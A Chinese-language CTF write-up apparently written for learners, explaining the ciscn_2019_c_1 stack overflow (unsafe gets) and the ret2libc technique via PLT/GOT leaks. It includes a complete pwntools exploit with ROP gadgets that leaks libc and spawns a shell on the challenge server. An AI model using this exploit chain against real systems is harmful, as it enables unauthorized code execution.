ciscn_2019_c_1

checksec,开了栈不可执行

Arch:       amd64-64-little
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

本题为libc中比较经典的一题,故作详细讲解

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h] BYREF  // 定义一个整型变量v4(用于存储用户输入)

  init(argc, argv, envp);  // 初始化函数(可能设置缓冲/初始化等)
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();  // 可能打印菜单选项
  while ( 1 )  // 主循环
  {
    while ( 1 )
    {
      fflush(0LL);  // 清空输出缓冲区
      v4 = 0;  // 初始化v4为0
      __isoc99_scanf("%d", &v4);  // 读取用户输入的整数
      getchar();  // 读取换行符(清空输入缓冲区)
      if ( v4 != 2 )  // 如果输入不是2则跳出内层循环
        break;
      // 输入为2时的提示
      puts("I think you can do it by yourself");
      begin();  // 再次显示菜单
    }
    if ( v4 == 3 )  // 如果输入为3
    {
      puts("Bye!");  // 打印退出信息
      return 0;  // 退出程序
    }
    if ( v4 != 1 )  // 如果输入不是1也不是2也不是3
      break;        // 跳出外层循环
    encrypt();  // 输入为1时调用加密函数
    begin();    // 再次显示菜单
  }
  puts("Something Wrong!");  // 输入非法选项时的错误提示
  return 0;  // 退出程序
}
int begin()
{
  puts("====================================================================");
  puts("1.Encrypt");
  puts("2.Decrypt");
  puts("3.Exit");
  return puts("Input your choice!");
}
int encrypt()
{
  size_t v0; // rbx  // 用于存储当前字符索引的临时变量
  char s[48]; // [rsp+0h] [rbp-50h] BYREF  // 存储用户输入文本的缓冲区
  __int16 v3; // [rsp+30h] [rbp-20h]  // 可能用于缓冲区终止符

  memset(s, 0, sizeof(s));  // 清空缓冲区
  v3 = 0;  // 初始化终止符
  puts("Input your Plaintext to be encrypted");  // 提示用户输入明文
  gets(s);  // 读取用户输入
  
  // 循环处理每个字符
  while ( 1 )
  {
    v0 = (unsigned int)x;  // 获取当前字符索引
    if ( v0 >= strlen(s) )  // 如果已处理完所有字符,退出循环
      break;
      
    // 根据字符类型应用不同的加密变换
    if ( s[x] <= 96 || s[x] > 122 )  // 如果不是小写字母(a-z)
    {
      if ( s[x] <= 64 || s[x] > 90 )  // 如果不是大写字母(A-Z)
      {
        if ( s[x] > 47 && s[x] <= 57 )  // 如果是数字(0-9)
          s[x] ^= 0xFu;  // 对数字进行异或加密(与0xF异或)
      }
      else  // 如果是大写字母
      {
        s[x] ^= 0xEu;  // 对大写字母进行异或加密(与0xE异或)
      }
    }
    else  // 如果是小写字母
    {
      s[x] ^= 0xDu;  // 对小写字母进行异或加密(与0xD异或)
    }
    ++x;  // 移动到下一个字符
  }
  
  puts("Ciphertext");  // 输出密文提示
  return puts(s);  // 输出加密后的文本
}

审计代码,一个简单的加密工具程序,主函数显示一个欢迎界面并提供菜单选项:1. 加密(调用encrypt函数)2. 显示无用信息 3. 退出程序。加密函数使用异或操作对输入文本进行简单加密:小写字母与0xD(十进制13)异或,大写字母与0xE(十进制14)异或,数字则与0xF(十进制15)异或,其他字符保持不变。加密后的结果输出为密文。main函数基本没有漏洞,但是在加密函数中存在gets不安全函数

shift加F12没有找到/bin/sh,也没有system。基本可以判断要打ret2libc

此处有一个小点,对于加密函数,要使得与原来的输入相同,可以考虑异或的加法逆元,导致一个数与相同的另一个数异或两次,就会回到最初的值。例如(ab)b=a。但是如果我们输入的字符串开头是\x00的话,字符就被截断了strlen就会认为我们输入了0个字符串,从而绕过加密变换。而在实际测试中,发现似乎不论截断与否都不会影响我们获取函数地址

这道题我们详细讲一下ret2libc原理,程序运行过程包含代码编辑,编译,链接,打包为可执行文件,而ret2libc主要攻击的是动态链接这一步,也就是PLT表和GOT表,打个形象点的比方,

:::info
想象一下,你的程序需要调用很多外部函数(比如 printf),就像你需要给很多人打电话。GOT (Global Offset Table, 全局偏移表):就是你的通讯录。里面最终记录着每个人的真实电话号码(函数的真实内存地址)。但这个通讯录里的号码一开始是空的或者写的是“问xx秘书”。PLT (Procedure Linkage Table, 过程链接表):就是你的贴心秘书。你想打电话给某人(调用函数)时,你不会直接去翻通讯录,而是先叫对应秘书:“喂,小P,帮我接通老王(printf)!”秘书小P(PLT)的第一通操作永远是:先去查通讯录(GOT)看有没有老王的电话。如果有了,直接就帮你拨号(跳转到地址并执行)。如果还没有,秘书就会非常负责地去想办法查到老王的真实号码,填到通讯录(GOT)里,然后再帮你拨通。这个过程就是 “延迟绑定(Lazy Binding)” :函数地址只有在第一次被调用时才去查找并填写,提高了启动效率。

:::

在程序运行一次之后,函数的地址就被存到GOT表中了,这时候我们通过puts等函数将地址打印出来就可以利用,对于固定版本的lic.so来说,system,/bin/sh的地址是相对固定的,可以使用。于是我们的思路就是获取 pop_rdi_ret 、puts_plt 、puts_got 的地址通过栈溢出打印puts函数的真实地址 ,根据puts函数的真实地址获知靶机使用的 libc,将 puts@got 偏移到 system_got 和 binsh_got,回到 gets 函数,重新执行溢出拿到 sh

.plt:00000000004006D6                 push    0
.plt:00000000004006DB                 jmp     sub_4006C0
.plt:00000000004006E0 ; [00000006 BYTES: COLLAPSED FUNCTION _puts]
.plt:00000000004006E6 ; ---------------------------------------------------------------------------

可见puts_plt地址0x4006E0,当然也可以通过创建elf对象,使用puts_plt=elf.plt['puts']来获取

elf = ELF('./ciscn_2019_c_1')
puts_plt=elf.plt['puts']
0000000000000050     char s[48];
-0000000000000020     _WORD var_20;
-000000000000001E     // padding byte
-000000000000001D     // padding byte
...............................................
-0000000000000003     // padding byte
-0000000000000002     // padding byte
-0000000000000001     // padding byte
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;

可以得到offset=0x50+0x8

payload = b'\x00' + b'A'*(offset-1)
payload +=p64(pop_rdi_ret)
payload +=p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main)

pop rdi ; ret作用是弹出一个值到rdi,再retrun一个地址,接着的puts_got就是要弹出的值,puts_plt就是要ret的值。系统点讲就是,将puts函数在GOT表中的地址(puts_got)作为参数载入RDI寄存器;然后调用puts函数在PLT表中的地址(puts_plt),实际执行puts(puts_got),从而将libc中puts函数的真实地址打印输出;最后将返回地址设置为main函数。当然也可以返回encry_addr,同时第二次溢出拿shell时就不需要再发送一次b'1'了,具体为什么请读者结合伪代码自行思考。接收libc中puts函数的真实地址方式如下

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
puts_addr = u64(p.recvline()[:-1].ljust(8,b'\0'))

第一种接收方式使用recvuntil('\x7f')接收数据直到遇到0x7f字节,然后提取最后6个字节并补齐至8字节后解析。这种方法适用于从数据流中提取嵌入的地址,特别针对64位系统中libc地址常以0x7f开头的特征,能更精确地从复杂数据中定位地址信息。第二种接收方式使用recvline()接收整行数据,并移除末尾的换行符后补齐至8字节,最后解析为64位整数。这种方法适用于地址单独占据一行的情况,处理简单直接,但要求地址必须以换行符结尾。

mov     edi, offset aCiphertext ; "Ciphertext"
call    _puts
lea     rax, [rbp+s]
mov     rdi, rax        ; s
call    _puts
nop
add     rsp, 48h
pop     rbx
pop     rbp
retn
; } // starts at 4009A0
encrypt endp

对于第种接收方式,在收到Ciphertext后还要在收一次\n这是因为encrypt()函数在返回之前还调用了一次puts()函数来打印加密后的s,然后才retn。因此我们需要再接受一行,接下来收到的才是puts的真实地址。而第一行代码由于until的是\x7f,所以不论有没有多接收一行\n都可以成功接收到puts地址,这也是我更推荐的接收方式。

接收到puts函数地址后用pwn自带的log打印出来依据最后三位可以在https://libc.blukat.me/ 查到libc,再通过计算与libc基址的偏移得到system和binsh,也可以使用libcsearcher逃课。重新构造payload再次栈溢出拿shell,根据之前说过的栈平衡,要先加上一个ret,其余同上原理,文末附上相关博客。

exp

from pwn import *
from pwn import u64
from LibcSearcher import *

# io = process('./ciscn_2019_c_1')
io = remote('node5.buuoj.cn',26053)
elf = ELF('./ciscn_2019_c_1')
context(log_level = 'debug',os='linux',arch='amd64')


offset=0x50+0x8
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
ret=0x4006B9
pop_rdi_ret=0x400C83
encry_addr=0x4009a0

payload = b'\x00' + b'A'*(offset-1)
payload +=p64(pop_rdi_ret)
payload +=p64(puts_got)
payload +=p64(puts_plt)
payload +=p64(main)
# payload +=p64(encry_addr)
io.sendlineafter('Input your choice!',b'1')
io.recvuntil('Input your Plaintext to be encrypted')
io.sendline(payload)
io.recvuntil(b"Ciphertext\n")
# io.recvuntil(b"\n")

# 打印接收到的puts的真实地址
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# puts_addr = u64(io.recvline()[:-1].ljust(8,b'\0'))
log.success('puts_addr--->'+hex(puts_addr))

libc = LibcSearcher("puts",puts_addr)       #依据puts的地址,创建libcsearcher对象
libc_base= puts_addr - libc.dump('puts')    #puts的地址减去puts相对libc基址的偏移
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
log.success('libc_base---->'+hex(libc_base))
log.success('system_addr-->'+hex(system_addr))
log.success('str_bin_sh--->'+hex(bin_sh))

#此处重新对payload赋值
payload=b'\x00' + b'A'*(offset-1)
payload+=p64(ret)
payload+=p64(pop_rdi_ret)+p64(bin_sh)
payload+=p64(system_addr)

io.sendline(b'1')
io.sendlineafter('Input your Plaintext to be encrypted',payload)
io.interactive()


# [+] puts_addr--->0x7fd41062c9c0
# [+] libc_base---->0x7f7f43f30000
# [+] system_addr-->0x7f7f43f7f440
# [+] str_bin_sh--->0x7f7f440e3e9a
# id libc6_2.27-3ubuntu1_amd64

# ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret'
#rdi rsi rdx rcx r8 r9
# 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c80 : pop r14 ; pop r15 ; ret
# 0x0000000000400c82 : pop r15 ; ret
# 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x00000000004007f0 : pop rbp ; ret
# 0x0000000000400aec : pop rbx ; pop rbp ; ret
# 0x0000000000400c83 : pop rdi ; ret
# 0x0000000000400c81 : pop rsi ; pop r15 ; ret
# 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004006b9 : ret
# 0x00000000004008ca : ret 0x2017
# 0x0000000000400962 : ret 0x458b
# 0x00000000004009c5 : ret 0xbf02

在一些64位的glibc的payload调用system函数失败问题

栈平衡和栈转移(Stack-Pivot)-腾讯云开发者社区-腾讯云

BUUCTF ciscn_2019_c_1_byteswarning: text is not bytes; assuming ascii, n-CSDN博客

posted @ 2025-12-16 00:11  pinesawfly  阅读(1)  评论(0)    收藏  举报